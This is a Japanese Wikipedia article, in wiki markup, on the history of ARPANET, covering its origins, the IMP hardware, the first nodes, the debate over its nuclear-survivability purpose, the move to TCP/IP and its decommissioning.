'''ARPANET'''(アーパネット、'''A'''dvanced '''R'''esearch '''P'''rojects '''A'''gency '''NET'''work、高等研究計画局ネットワーク)は、世界で初めて運用された[[パケット通信]][[コンピュータネットワーク]]であり、[[インターネット]]の起源でもある。[[アメリカ国防総省]]の[[国防高等研究計画局|高等研究計画局]](略称ARPA、後にDARPA)が資金を提供し、いくつかの大学と研究機関でプロジェクトが行われた。ARPANETのパケット交換は[[イギリス]]の科学者[[ドナルド・ワッツ・デービス|ドナルド・デービス]]<ref>{{Cite web|url=http://www.internethalloffame.org/inductees/donald-davies|title=
Donald Davies|publisher=[[インターネットソサエティ]]|access-date=2023-12-12}}</ref>と[[リンカーン研究所]]の[[ローレンス・ロバーツ]]<ref>{{Cite web|url= http://www.livinginternet.com/i/ii_roberts.htm|title=Lawrence Roberts Manages The ARPANET Program |work=Living Internet.com |accessdate=2008-11-06}}</ref>の設計に基づいていた。
== 歴史 ==
[[パケット交換]]は今日[[データ通信]]の基盤として世界中で使われているが、ARPANETの構想が持ち上がった当時は新しい概念だった。パケット交換が登場する以前、音声通信やデータ通信は[[回線交換]]が基本であり、電話の回線網のように電話をかけるたびに通信局から通信局まで専用の電気的接続がなされていた。この場合の通信局は電話やコンピュータである。この(一時的な)専用回線は多数の中継局間の回線から構成されており、発信局から受信局までを結ぶようになっている。パケット交換では、データシステムは単一の通信リンクを使って複数のマシンと通信する。データは[[データグラム]]に分割され、[[パケット]]としてそのネットワークのリンク上を転送される。パケットは小さいので、リンクはすぐに空き状態となり、別のパケットを転送可能となる。そのため、[[郵便ポスト]]が様々な宛先の手紙を出すのに使えるようにリンクを共有できるだけでなく、各パケットはそれぞれ独自の経路で転送される<ref name=LIPSH>[http://www.livinginternet.com/i/iw_packet_inv.htm "Packet Switching History"], Living Internet, retrieved 26 August 2012</ref>。
=== 概念の提唱 ===
ARPANETに直接影響を及ぼしたコンピュータネットワークの概念の提唱を行ったのは[[BBNテクノロジーズ]]の[[J・C・R・リックライダー]]による[[タイムシェアリングシステム]]によるネットワークである。リックライダーの1960年の論文、「人間とコンピュータの共生」<ref>[https://groups.csail.mit.edu/medg/people/psz/Licklider.html {{lang|en|Man-Computer Symbiosis}}] 「人間とコンピュータの共生」 1960年3月</ref>の中で早くもリソースを共有するためのタイムシェアリングシステムのネットワークの可能性について言及している箇所が見られる。又リックライダーがARPAのIPTO<ref>{{lang-en-short|Information Processing Techniques Office}}</ref>部長に就任した後の1963年にIPTOの助成機関宛に送ったメモランダム「銀河間コンピュータネットワークメモランダム」<ref>[http://www.kurzweilai.net/meme/frame.html?main=/articles/art0366.html?m%3D7 {{lang|en|Memorandum For Members and Affiliates of the Intergalactic Computer Network}}]「銀河間コンピュータネットワークメモランダム」 1963年4月</ref>の中ではIPTOの将来的な目標として相互の研究内容の情報を共有するためにコンピュータネットワークを構築することの提案を行っている。これには現在のインターネットを構成するほとんど全てのアイデアが含まれていた。リックライダーは計画が実施される前にARPAを去ったが、その構想は[[アイバン・サザランド]]、[[ロバート・テイラー (情報工学者)|ロバート・テイラー]]といったIPTOに入社した彼の後継者達によって受け継がれる事になった<ref name=LIJCRL>「[http://www.livinginternet.com/i/ii_licklider.htm {{lang|en|J.C.R. Licklider And The Universal Network}}]」リビング・インターネット</ref>。
=== ネットワークの実験 ===
サザランドとテイラーはそのようなコンピュータネットワークを構築することに関心を持ち続け、ARPAが資金提供しているアメリカ各地の様々な企業や[[大学]]の研究者たちがARPAの資金で開発されたコンピュータ群にアクセスできるようにし、ソフトウェアなどの[[計算機科学]]の成果を素早く広めたいと考えていた<ref>[http://www.livinginternet.com/i/ii_ipto.htm "IPTO – Information Processing Techniques Office"], Living Internet</ref>。テイラーのオフィスには3つのコンピュータ端末があり、それぞれ別々の(ARPAが資金提供した)コンピュータに接続されていた。1つは[[サンタモニカ]]の [[:en:System Development Corporation|System Development Corporation]] (SDC) にある[[:en:AN/FSQ-32|AN/FSQ-32]]<ref>[[半自動式防空管制組織|SAGE]]用コンピュータ[[:en:AN/FSQ-7|AN/FSQ-7]]をトランジスタ化したもの</ref>、2つめは[[カリフォルニア大学バークレー校]]の[[Project GENIE]]、3つめは[[マサチューセッツ工科大学|MIT]]の[[Multics]]である。これについてテイラーは後に次のように回想している。
<blockquote>
「この3台の端末はそれぞれユーザーコマンド群が異なっていた。だから私が S.D.C. の誰かとオンラインで話をしていて、バークレーあるいはMITの誰かと話したいとき、S.D.C. との端末から離れて、別の端末にログインして連絡する必要があった。(中略)何をするのかは明らかだが、私はそんなことをしたくない。インタラクティブ・コンピューティングが可能なら、1つの端末でどこにでも接続できるべきだ。このアイデアが ARPANET だ」<ref>{{Cite news|title=An Internet Pioneer Ponders the Next Revolution |author=John Markoff |url= http://partners.nytimes.com/library/tech/99/12/biztech/articles/122099outlook-bobb.html |work=The New York Times |accessdate=2008-09-20 | date=20 December 1999| archiveurl= https://web.archive.org/web/20080922095019/http://partners.nytimes.com/library/tech/99/12/biztech/articles/122099outlook-bobb.html| archivedate= 22 September 2008 | deadurl= no}}</ref>
</blockquote>
1964年にリックライダーがIPTOの部長を退いた後、彼の役職を継いだサザランドはリックライダーが提唱したコンピュータネットワークの実験を行ってみる事にした。1965年にUCLAの2つのコンピュータをネットワークで接続してみる事になったが、この実験は通信方式に問題があったために失敗した。
=== ARPANETの開発 ===
1966年にサザランドの次にIPTO部長に就任したテイラーは更に一歩進めて本格的なコンピューターネットワークを構築しようと試み、ARPA本体から予算を取り付けた。ただしテイラーはリックライダーと同じ音響心理学者でコンピュータ工学のエンジニアではなかった。このためネットワークを実際に構築できる技術者を必要としていた。こうして[[マサチューセッツ工科大学]]の[[リンカーン研究所]]から半ば脅される形でIPTOにリクルートされてきたのが[[ローレンス・ロバーツ]]である。ロバーツは1967年にこれまでリックライダーやサザランド、タイラーが概念として述べてきた事を「指示書」のような形でまとめた。これが"Multiple Computer Network and Intercomputer Communication"<ref>[http://www.lroberts.us/files/multi-net-inter-comm.html ''Multiple Computer Network and Intercomputer Communication''] 1967年</ref>である。この「指示書」の中ではARPANETの基本的な「仕様」が以下のように示されている。
#負荷共有
#メッセージサービス
#情報の共有
#プログラム共有
#遠隔ログイン
タイムシェアリングシステム本体にコミュニケーションの管理を行わせる事に対してはコンピュータの管理者から否定的な意見が出されていた。このためロバーツはリンカーン研究所の{{仮リンク|ウェズリー・A・クラーク|en|Wesley A. Clark|label=ウェズリー・クラーク}}の助言を受け入れタイムシェアリングシステムにコミュニケーションの管理を専門に行わせる小さいコンピュータを接続させることにした。この結果開発されたのが、現在の[[ルーター]]の前身ともいえる[[Interface Message Processor]](IMP)である。
1968年中ごろまでにテイラーはコンピュータネットワークの計画を完成させ、ARPAの承認を得た。そして、契約者となる可能性のある140の組織などに見積依頼を送った。多くのコンピュータ企業はARPAとテイラーの提案を絵空事だとみなして考慮せず、送り返されてきたネットワーク構築の見積もりは12だけだった。ARPAはそこから4社を契約候補に選んだ。同年末には2社に絞り込み、最終的に1969年4月7日、[[BBNテクノロジーズ]]とネットワーク構築の請負契約を結んだ。BBNでは当初7人のチームを結成しフランク・ハートが指揮した。ARPAの見積依頼は技術的にも詳細で、チームはすぐさまネットワーク接続用のコンピュータを構築できた。BBNの提案したネットワークはARPAの計画に沿ったもので、IMPという小型コンピュータでネットワークを形成してIMPをゲートウェイ(今日の[[ルーター]])として機能させ、ローカルなリソースと相互接続するというものだった。各サイトではIMPが[[ストアアンドフォワード]]型のパケット交換機として機能し、IMP同士は[[モデム]]を介して[[専用線]](当初50kbit/s)で相互接続した。ホストコンピュータとIMPは独自の[[シリアル通信]]インタフェースで接続された。このシステムのハードウェアとパケット交換ソフトウェアは、9カ月で設計・構築された<ref>[http://www.livinginternet.com/i/ii_imp.htm "IMP – Interface Message Processor"], Living Internet</ref>。
第一世代のIMPはBBNが[[ハネウェル]]のDDP-516というコンピュータをベースとして構築した。主記憶([[磁気コアメモリ]])は24[[キロバイト]](拡張可能)で、16チャネルの Direct Multiplex Control (DMC) という[[Direct Memory Access|DMA]]ユニットを備えていた<ref>{{Cite web|last=Wise| first=Adrian |url= http://www.old-computers.com/museum/computer.asp?c=551 |title=Honeywell DDP-516 |publisher=Old-Computers.com|accessdate=2008-09-21}}</ref>。DMCはホストコンピュータやモデムとのインタフェースに使われた。フロントパネルのランプ群に加えて、DDP-516にはIMPの通信チャネルの状態を示す24個の表示ランプがある。IMPは最大4台のホストコンピュータを接続でき、最大6台のIMPと専用線で相互接続できる。パケット転送の機構は[[ストアアンドフォワード]]型として設計された。また、各ルータは2秒毎に経路情報を送信し、最小のトランジットタイムを持つ経路を評価すると共に、0.5秒毎に経路表を各送信先までのトランジットタイムを最小にするように更新する、動的なルーティング・アルゴリズムも実装された<ref>F. E. HEART, R. E. KAHN, S. 1\II. ORNSTEIN, W. R. CROWTHER and D. C. WALDEN, http://dl.acm.org/citation.cfm?id=1477021, The interface message processor for the ARPA computer network, Spring Joint Computer Conference, 1970.</ref>。このアルゴリズムは以前にポール・バランが考案していたものであった。
ほぼ同じころ、他の人々も(それぞれ独自に)「パケット交換」について研究を行っており、まず1968年8月5日に[[イギリス国立物理学研究所]] (NPL) が公開デモンストレーションを行った<ref>{{Cite web|title=The accelerator of the modern age|url= http://news.bbc.co.uk/1/hi/technology/7541123.stm|work=BBC News|accessdate=2009-05-19 | date=5 August 2008| archiveurl= https://web.archive.org/web/20090610082212/http://news.bbc.co.uk/1/hi/technology/7541123.stm| archivedate= 10 June 2009 | deadurl= no}}</ref>。
=== 設計目的についての議論 ===
ARPANETは[[核攻撃]]にも耐えるよう設計されたネットワークだ、という言い伝えが広まっているが、[[インターネット協会]]は否定している。その方式が1960年代前半に[[アメリカ空軍]]の[[シンクタンク]]である[[ランド研究所]]の[[ポール・バラン]]によって提唱された核攻撃下でも生き残れるコミュニケーション方式であるという点を持ち上げて冷戦構造全体の中で技術としての「インターネット」を議論するべきなのか、それともロバーツの言うとおりパケット通信はバランの研究とは全く関係の無い[[イギリス国立物理学研究所]]の[[ドナルド・ワッツ・デービス|ドナルド・デービス]]の研究成果を反映したもので「インターネット」の誕生は新しいコミュニケーションツールとしての側面から評価してよいという議論までかなりの幅が見られる。[[インターネット協会]]は ''A Brief History of the Internet'' の中でARPANETを生み出した技術的アイデアの融合について次のように記している。
<blockquote>
ARPANETが核戦争に耐えられるネットワーク構築と何らかの関係があると主張する間違った噂が始まったのは、[[ランド研究所]]の研究からである。ランド研究所では核戦争を考慮した秘密音声通信を研究していたが、ARPANETはそれとは全く無関係である。しかし、後の[[インターネットワーキング]]作業の展開においては、ネットワークの大きな部分が失われてもインターネットワークが機能し続けるなど、その頑健性と生存可能性を強調したことがあるのも事実である。<ref>{{Cite web|title=A Brief History of the Internet|url= http://www.isoc.org/internet/history/brief.shtml|work=[[インターネット協会|Internet Society]]|accessdate=2008-09-20| archiveurl= https://web.archive.org/web/20080918213304/http://www.isoc.org/internet/history/brief.shtml| archivedate= 18 September 2008 | deadurl= no}}</ref>
</blockquote>
一方で、ARPANETの開発のほとんどの請求書に署名を行なったDARPAの副局長 (1967-1971)・局長(1971-1974)のステファン・J・ルカシックは次のように述べている。
<blockquote>
目的は新しいコンピュータ技術を利用して、核の脅威に対する軍事的指揮と制御のニーズを満たし、米国の核兵器の存続可能な制御を達成し、軍事戦術と管理の意思決定を改善することでした。<ref>{{cite journal | last1 = Lukasik | first1 = Stephen J. | year = 2011 | title = Why the Arpanet Was Built | doi = 10.1109/MAHC.2010.11 | journal = IEEE Annals of the History of Computing | volume = 33 | issue = 3| pages = 4–20 }}</ref>
</blockquote>
ARPANETは、ルーティングテーブルの分散計算や頻繁な再計算を組み込んだことでネットワークの存続可能性が向上したが、自動ルーティングは技術的に困難だった。また、下位ネットワークが失われても機能し続けるよう設計されているが、これは核攻撃を受けなかったとしても交換ノードとネットワークリンクの信頼性が低かったためである。ARPANET構築を促進させたリソース不足について、ARPA局長 (1965–1967) のチャールズ・ヘルツフェルトはつぎのように述べた。
<blockquote>
ARPANETは核攻撃に耐える指揮統制システムを作るために始まったのではない。そのようなシステムの構築は明らかに軍にとって大きな要望ではあったが、それはARPAの任務ではなかった。実際、我々がそれを試みていれば、厳しく批判されただろう。むしろARPANETは、わが国にある大規模で強力な研究用コンピュータの数が限られていて、それらを使いたいと思っている研究者の多くは地理的に離れたところにいるという我々の欲求不満が出発点である。<ref>{{Cite web |title=Charles Herzfeld on ARPANET and Computers |url= http://inventors.about.com/library/inventors/bl_Charles_Herzfeld.htm |work=[[All About|About.com]] |accessdate=2008-12-21}}</ref>
</blockquote>
ARPANETは、1990年までの20年間、軍によって運営された。<ref>Janet Abbate (2000) ''Inventing the Internet'' pp.194-5</ref><ref>Vernon W. Ruttan (2005) [https://books.google.com/books?id=Eopn-pYI1tsC&pg=PA125 ''Is War Necessary for Economic Growth?''] p.125</ref>
当時のIPTO責任者であったテイラーは、1994年7月にアメリカ・[[タイム誌]]で、「インターネットは核攻撃下でのコミュニケーションの生き残りを想定して開発された」<ref>"[http://www.efc.ca/pages/time.25jul94.txt BATTLE FOR THE SOUL OF THE INTERNET]". TIME, 1994年7月25日。</ref>という記事が掲載されたときに事実とは異なる旨、正式な抗議をタイム誌に対して行っている。
[[パケット通信]]の先駆者[[ポール・バラン]]は次のように述べている。
<blockquote>
テイラーはそれぞれ異なるマシンに接続したいくつかの端末を持っていた。彼が考え付いたのは、1つの端末がそれらコンピュータのどれとも接続できるネットワークを構築することだった。それがARPANETの本当の起源だ。当時、そういった相互接続の方法は未解決の問題だった。<ref>{{Cite news |last=Brand |first=Stewart |url= http://www.wired.com/wired/archive/9.03/baran.html |title=Founding Father |magazine=[[WIRED (雑誌)|Wired]] |month=March |year=2001 |issue=9.03 |accessdate=2011-12-31}}</ref>
</blockquote>
[[村井純]]は、「ARPANETは軍事用に開発され、それが民間に転用された」という説に関し、「ARPA基金の方針が非主流非軍事だが将来性を求め、軍事直結の基金は国防総省と区別がある」、「アメリカ軍は湾岸戦争のとき、様々な通信技術を運用した結果、TCP/IP技術の高い有用性を初めて認識した」とコメントし、さらに「中東派遣軍総司令官の[[ノーマン・シュワルツコフ]]は技術を『禁輸にすべきだ』とまで言い出した」というエピソードとともに、次のように答えている。
<blockquote>
ARPANETが最初から軍の独占技術だったとしたら、こんなことをする必要はまったくなかったでしょう。それどころか、すべてが軍の機密情報として扱われ、インターネットはそれこそ誰も知らないものになっていたはずです。<ref>仕事インタビュー私の職務経歴書 第49回インターネットの父・村井純の場合 [http://c.filesend.to/ct/?p=8277&page=4「インターネットは軍事用に開発された」という間違った伝説] </ref><ref >{{Cite |和書|author = 村井 純 |title = インターネットの基礎情報革命を支えるインフラストラクチャー|date = 2014-10-24|publisher = KADOKAWA|isbn =4046538813}}</ref>
</blockquote>
=== ARPANETの始動 ===
ARPANETは、次の4カ所のIMPを相互接続する形で始まった<ref name=LIARPANETTheFirstInternet>[http://www.livinginternet.com/i/ii_arpanet.htm "ARPANET – The First Internet"], Living Internet</ref>。
* [[カリフォルニア大学ロサンゼルス校]] (UCLA) - [[レナード・クラインロック]]が Network Measurement Center を創設し、SDS Sigma 7 というコンピュータを最初にARPANETに接続した。
* [[SRIインターナショナル|スタンフォード研究所]]の [[オーグメンテイション研究センター]] - [[ダグラス・エンゲルバート]]が初期の重要な[[ハイパーテキスト]]システムである[[NLS]]を開発した場所である。ARPANETにはそのNLSが動作した [[SDS 940]](愛称は"Genie")が最初に接続された。
* [[カリフォルニア大学サンタバーバラ校]] (UCSB) - Culler-Fried Interactive Mathematics Center の[[IBM]] [[System/360|360/75]](OSは[[:en:Multiprogramming with a Variable number of Tasks|OS/MVT]])を接続した。
* [[ユタ大学]]の計算機科学科 - [[アイバン・サザランド]]がARPAからこちらに移ってきており、[[ディジタル・イクイップメント・コーポレーション|DEC]] [[PDP-10]](OSは[[TOPS-20|TENEX]])を接続した。
発足当初のメンバーには以後のネットワークの歴史や文化に大きな影響を与えることになる[[ジョン・ポステル]]や[[ヴィントン・サーフ|ヴィント・サーフ]]が含まれていた。
ARPANET上で最初に送信されたメッセージは、UCLAの学生プログラマであるチャーリー・クラインが送ったものである。1969年10月29日午後10:30、UCLAの Boelter Hall 3420号室からのことだった<ref>{{Cite news |title=Browsing history: A heritage site is being set up in Boelter Hall 3420, the room the first Internet message originated in |url= http://www.dailybruin.com/index.php/article/2011/04/browsing_history |author=Jessica Savio |work=Daily Bruin |publisher=UCLA |date=1 April 2011 }}</ref>。クラインは同大学の[[:en:SDS Sigma 7|SDS Sigma 7]]からスタンフォード研究所の[[SDS 940]]へとメッセージを送った。その内容は "login:" というテキストだったが、"lo" まで送信したところでシステムがクラッシュした。したがってARPANET初のメッセージは実際には "lo" である。これは1文字ずつ送信元から送信先に対して電話確認を行いながらの送信であった。約1時間後クラッシュから復旧させ、当初のテキストメッセージ全体の送信を成功させた。ARPANETの恒久的リンクが確立したのは1969年11月21日のことで、UCLAとスタンフォード研究所のIMP間のことである。1969年12月5日には、4ノード相互のネットワークが完成した<ref>{{Cite web |title=Internet Began 35 Years Ago at UCLA with First Message Ever Sent Between Two Computers |url= http://www.engineer.ucla.edu/stories/2004/Internet35.htm |author=Chris Sutton |publisher=UCLA |date=2 September 2004 |archiveurl= https://web.archive.org/web/20080308120314/http://www.engineer.ucla.edu/stories/2004/Internet35.htm |archivedate=8 March 2008 |accessdate=2012-11-13}}</ref>。
=== 発展と進化 ===
[[File:Arpanet 1974.svg|thumb|right|1974年時点のARPANETの構成]]
1970年3月、[[マサチューセッツ州]][[ケンブリッジ (マサチューセッツ州)|ケンブリッジ]]にある[[BBNテクノロジーズ|BBN]]にあるIMPが接続され、ARPANETはアメリカ東海岸にまで広がった。その後、1970年6月にはIMPが9台、1970年12月には13台、1971年9月には18台(この時点で接続ホスト数は大学や政府機関を含めて23台)、1972年8月には29台<ref>当時の伝送速度は50kbpsの専用線。8096bit以下で1パケットを構成する。</ref><ref>1972年12月には接続数が45台だったという(全部を示した接続系統図がある)。当時の伝送速度は50kbpsの専用線。</ref>1973年9月には40台となった。1974年6月にはIMPが46台となり、1975年7月には57台のIMPが相互接続された。1981年までに213台のホストコンピュータが接続され、およそ20日に1台の割合で新たなホストが接続されるという状況になった<ref name=LIARPANETTheFirstInternet/>。
1973年、[[:en:NORSAR|NORSAR]] (Norwegian Seismic Array)<ref>地震波を検出するため、アメリカとノルウェーが合意して建設した基地</ref>が人工衛星の通信リンクでARPANETと接続され、ノルウェーはアメリカ以外で初めてARPANETと接続した国となった<ref>{{Cite web |url= http://www.norsar.no/norsar/about-us/History/ |title= History |publisher=NORSAR (Norway Seismic Array Research) |accessdate= 2012-11-13}}</ref>。また、同時期にロンドンのIMPも地上回線で接続されている。
1975年、ARPANETは稼働状態にあると宣言された。本来、高度な研究への出資が仕事であるARPAはこの時点で手を引き、[[アメリカ国防情報システム局]]が運営を引き継いだ<ref name=LIARPANETTheFirstInternet/>。
[[1980年]]、ARPANET初の負荷適応型のリンクステート型ルーティングアルゴリズムである[[BBNテクノロジーズ|BBN]] ARPANETルーティングアルゴリズムが[[BBNテクノロジーズ|BBN]]社から提案され、実験が開始された。このアルゴリズムは実験開始直後に激しいルートフラッピングを起こし、負荷適応型ルーティングアルゴリズムの実運用が困難であることが世界で初めて知られるようになった。
[[1981年]]、日本で初めてのARPANETとの接続は[[東北大学]]が[[ALOHAnet]]に参加し、これを経由して接続されたのが最初であった<ref>{{Cite web|和書|author=尾家祐二|url= http://infonet.cse.kyutech.ac.jp/lecture/Under_Graduate/Comp_Comm_2nd_grade/pdf/Chapter5-2007.pdf|title=インターネットの始まりと歴史|format=PDF|pages=3/7ページ|publisher=[[九州工業大学]]、情報工学部|accessdate=2008-12-28}}{{リンク切れ|date=2012年11月}}</ref>。これは米国本土までの距離に比較して、地理的にも近い[[ハワイ]]までの[[専用線]]の料金が、より安価に済んだことも理由である。
1983年、ARPANETの[[アメリカ軍]]関係部分を分離して、機密には分類されない軍事関係の通信を担う[[:en:MILNET|MILNET]]とした。その後これを包含する形で [[:en:Defense Data Network|Defense Data Network]] (DDN) として発展<ref>{{Cite book|chapter= ARPANET, the Defense Data Network, and Internet |title= The Froehlich/Kent Encyclopedia of Telecommunications |author1=Fritz E. Froehlich |author2= Allen Kent |publisher= CRC Press |year=1990 |pages= 341–375 |volume=1 |url= https://books.google.co.jp/books?id=gaRBTHdUKmgC&pg=PA341&redir_esc=y&hl=ja |isbn= 978-0-8247-2900-4 }}</ref>。軍関連が分離したことで113ノードあったARPANETは68ノードに縮小している。MILNETは後に[[NIPRNet]]となった。
=== 規則とエチケット ===
政府とのつながりのため、ある種のトラフィックは抑制または禁止されていた。[[MIT人工知能研究所]]で発行された1982年のコンピューティングについてのハンドブックでは、ネットワークでのエチケットについて次のように記している<ref name="stacy1982" />。
{{Quote|政府関係の仕事とは直接関係しないことでARPANetを使うのは違法と考えられ…他のARPANet参加者との個人的メッセージ(例えば、どこかで会う約束をするとか、挨拶をするなど)は一般に有害とはみなされないが…ARPANet経由で個人的利益のためや政治的意図をもって電子メールを送ることは反社会的で違法である。そのようなメッセージを送ると、あなたは多くの人々を傷つけ、ARPANetを運営する政府機関とMITの間で深刻なトラブルとなる可能性がある。<ref name="stacy1982">{{Cite book| url= http://independent.academia.edu/ChristopherStacy/Papers/1464820/Getting_Started_Computing_at_the_AI_Lab | title=Getting Started Computing at the AI Lab | publisher=AI Lab, Massachusetts Institute of Technology | author=Stacy, Christopher C. | date=7 September 1982 | pages=9}}</ref>}}
=== 技術 ===
1970年にはIMP間の回線として 230.4 kbit/s までをサポートしたが、コストと[[Interface Message Processor|IMP]]の処理能力を考えれば、そこまでの通信容量を使い切ることはなかった。
1971年には、堅牢化をしない(そのため非常に軽量な)[[Honeywell 316]] を使ったIMPが登場した。これは[[端末サーバ]] Terminal Interface Processor (TIP) としても構成でき、ホストと最大63台の[[ASCII]]シリアル端末を接続できた<ref>{{Cite journal|title= The Early Days of the Arpanet |journal= IEEE Annals of the History of Computing |issn= 1058-6180 |date=July–September 2009 |page=67 |volume=31 |issue=3 |first=Peter T. |last=Kirstein |url= http://muse.jhu.edu/journals/ahc/summary/v031/31.3.kirstein.html }}</ref>。316は516より集積化が進んでおり、安価で保守が容易だった。TIPとしての316は40kBの磁気コアメモリを搭載していた。メモリ容量は1973年に拡大され、IMP用には32kB、TIP用には56kBを搭載した。1981年、BBNは自社製のC/30というコンピュータ上で動作するIMPソフトウェアを導入した。
1983年、資金提供を行っていた国防省側の方針で、[[Network Control Program|NCP]]<ref name=LINCP>[http://www.livinginternet.com/i/ii_ncp.htm "NCP – Network Control Program"], Living Internet</ref>を[[インターネット・プロトコル・スイート|TCP/IP]]<ref name=LITCPIP>[http://www.livinginternet.com/i/ii_tcpip.htm "TCP/IP Internet Protocol"], Living Internet</ref>に切り換えることになり、ARPANETは初期のインターネットのサブネットとなった。これが今日のインターネットにおけるTCP/IPの使用にとって決定的な条件のひとつを作ったと考えられている。
=== ARPANETの退役と後世への影響 ===
[[全米科学財団ネットワーク|NSFNet]]の拡大にともなってARPANETは縮小していき、IMPやTIPも消えていったが、一部のIMPは1989年までサービスを継続した<ref>[http://www.livinginternet.com/i/ii_nsfnet.htm "NSFNET – National Science Foundation Network"], Living Internet</ref>。
[[BBNテクノロジーズ|BBN]]と[[国防高等研究計画局|ARPA]]が共同で出版した ''ARPANET Completion Report'' では、次のように結論付けている。
{{quote|
最後にふさわしい言葉として次のように述べたい。ARPANET計画はそのネットワーク自体から湧き出るように計算機科学の発展と強化に資する強く直接的なフィードバックをもたらした。<ref>{{Cite report|url= http://www.dtic.mil/cgi-bin/GetTRDoc?Location=U2&doc=GetTRDoc.pdf&AD=ADA115440|title=A History of the ARPANET: The First Decade |publisher=[[BBNテクノロジーズ|Bolt, Beranek & Newman Inc.]] |location=Arlington, VA |date=1 April 1981 |chapter=III |page=132 }} section 2.3.4</ref><!-- リンク先には132ページがないんだが… -->
}}
1990年2月28日にARPANETが正式に退役した後、[[ヴィントン・サーフ]]は「ARPANETの挽歌」(Requiem of the ARPANET) と題して、次のように哀悼の意を表した<ref name="Abbate">{{Cite book|last=Abbate |first=Janet |date=11 June 1999 |title=Inventing the Internet |location=Cambridge, MA |publisher=MIT Press |isbn=0262011727 |asin=B003VPWY6E}}</ref>。
{{quote|
It was the first, and being first, was best,<br />
but now we lay it down to ever rest.<br />
Now pause with me a moment, shed some tears.<br />
For [[オールド・ラング・サイン|auld lang syne]], for love, for years and years<br />
of faithful service, duty done, I weep.<br />
Lay down thy [[パケット|packet]], now, O friend, and sleep.
|[[ヴィントン・サーフ|Vinton Cerf]]
}}
{{quote|
これは最初(の技術)であり、そして最初であるがゆえに、最高のものでした。<br />
しかし、今、私達をそれを置き、永遠の眠りにつかせようとしています。<br />
さあ、黙祷を捧げ、涙を流しましょう。<br />
[[オールド・ラング・サイン]]のために、愛のために、何年も、何年もの間、<br />
(果たされた)その信頼のおける奉仕、そして果たされた義務のため、私は涙を流します。<br />
なんじの[[パケット]]を置き、今こそ、ああ友よ、そして眠れ。
|[[ヴィントン・サーフ]]
}}
1988年、UCLAの計算機科学教授[[レナード・クラインロック]]を議長とする委員会の国会への報告を受け、上院議員[[アル・ゴア]]は [[:en:High Performance Computing and Communication Act of 1991|High Performance Computing and Communication Act of 1991]] という法案を作成。この法案が1991年12月9日に可決され、[[:en:National Information Infrastructure|National Information Infrastructure]] (NII) が生まれ、これをアル・ゴアが「[[情報スーパーハイウェイ構想|情報スーパーハイウェイ]]」と呼んだ。2009年、[[IEEEマイルストーン]]にARPANET関連で2件が選ばれた<ref>{{Cite web|url= http://www.ieeeghn.org/wiki/index.php/Milestones:Birthplace_of_the_Internet,_1969 |title=Milestones:Birthplace of the Internet, 1969 |work=IEEE Global History Network |publisher=IEEE |accessdate=2011-08-04}}</ref><ref>{{Cite web|url= http://www.ieeeghn.org/wiki/index.php/Milestones:Inception_of_the_ARPANET,_1969 |title=Milestones:Inception of the ARPANET, 1969 |work=IEEE Global History Network |publisher=IEEE |accessdate=2011-08-04}}</ref>。
== ソフトウェアとプロトコル ==
1969年に始まったARPANETでの[[ホスト (ネットワーク)|ホスト]]間[[通信プロトコル]]は、[[:en:BBN Report 1822|1822 protocol]] であり、IMPへのメッセージ転送を定義したものである<ref>[http://www.bitsavers.org/pdf/bbn/imp/BBN1822_Jan1976.pdf ''Interface Message Processor: Specifications for the Interconnection of a Host and an IMP''], Report No. 1822, Bolt Beranek and Newman, Inc. (BBN)</ref>。そのメッセージ形式は様々なコンピュータアーキテクチャにおいても曖昧さが生じないよう設計された。1822メッセージは、メッセージ種別、数値による[[ホストアドレス]]、データフィールドで構成される。データメッセージを他のホストに送信するには、送信側でデータの中身と宛先ホストのアドレスからメッセージをフォーマットし、1822ハードウェアインタフェースを通してそれを送信する。IMPはメッセージにある宛先アドレスに従って、IMP間でメッセージを転送したり、宛先ホストに配達したりする。最終的に宛先ホストにメッセージを配達したIMPは、''Ready for Next Message'' (RFNM) を送信元のIMPに向けて[[肯定応答]]として送信する。
現代のインターネットの[[データグラム]]とは異なり、ARPANETは信頼性を持って1822メッセージを転送するよう設計されており、メッセージを喪失した場合はホストコンピュータにそれを通知するようになっていた。一方[[Internet Protocol#信頼性|IP]]は信頼できないプロトコルであり、その上の[[Transmission Control Protocol|TCP]]が信頼性を担っている。それにもかかわらず、1822プロトコルは1つのホストコンピュータ内に複数の異なるアプリケーションがあって、複数のコネクションを扱おうとしたときにうまく処理できないことが判明した。これに対処したのが [[Network Control Program]] (NCP) で、各種ホストコンピュータの各種プロセス間で、信頼でき[[フロー制御]]された双方向通信リンクを確立する標準手段を提供した。NCPインタフェースは[[アプリケーションソフトウェア]]がARPANET経由で接続することを可能にしており、上位層の[[通信プロトコル]]を実装したものといえる。[[OSI参照モデル]]のようなプロトコルの階層化の初期の例である<ref name=LINCP/>。
1983年、[[インターネット・プロトコル・スイート|TCP/IP]]がNCPおよび1822プロトコルに取って代わった<ref name=LITCPIP/>。
=== ネットワークの応用 ===
NCPが標準のネットワークサービスを提供したことで、単一のホストコンピュータ上で複数アプリケーションが動作可能になった。これにより、その上でアプリケーション層のプロトコルが下層とはある程度独立に動作できるようになり、各種応用が生まれることにつながった。1983年にARPANETがインターネットに移行した際、主なアプリケーションプロトコルもTCP/IP上に移植された。
; 電子メール
: 1971年、[[BBNテクノロジーズ|BBN]]の[[レイ・トムリンソン]]が世界初のネットワーク経由の[[電子メール]]を送信した ({{IETF RFC|524}}, {{IETF RFC|561}})<ref>{{Cite web |url= http://openmap.bbn.com/~tomlinso/ray/firstemailframe.html |title=The First Network Email |author=Tomlinson, Ray |publisher=BBN |accessdate=2012-03-06}}</ref>。1973年には、ARPANETのトラフィックの75%が電子メールだった。
; ファイル転送
: 1973年、[[File Transfer Protocol]] (FTP) の仕様が定義され ({{IETF RFC|354}})、実装され、ARPANET上でのファイル転送が可能となった。
; 音声トラフィック
: 1977年、[[:en:Network Voice Protocol|Network Voice Protocol]] (NVP) の仕様が定義され ({{IETF RFC|741}})、実装されたが、技術的欠点があったため、ARPANET上で[[電話会議]]が機能することはなかった。現代の[[VoIP]]が登場するのは、そのずっと後のことである。
== 映画その他のメディアにおけるARPANET ==
=== 当時の記録 ===
* {{Cite video|people=Steven King (Producer), Peter Chvany (Director/Editor) |year=1972 | title = Computer Networks: The Heralds of Resource Sharing |url= http://documentary.operationreality.org/2011/08/27/computer-networks-the-heralds-of-resource-sharing |accessdate=2011-12-20}} - 30分のドキュメンタリー映画。[[フェルナンド・J・コルバト]]、[[J・C・R・リックライダー]]、[[ローレンス・ロバーツ]]、[[ロバート・カーン]]、[[ドナルド・ワッツ・デービス|ドナルド・デービス]]らが出演している。
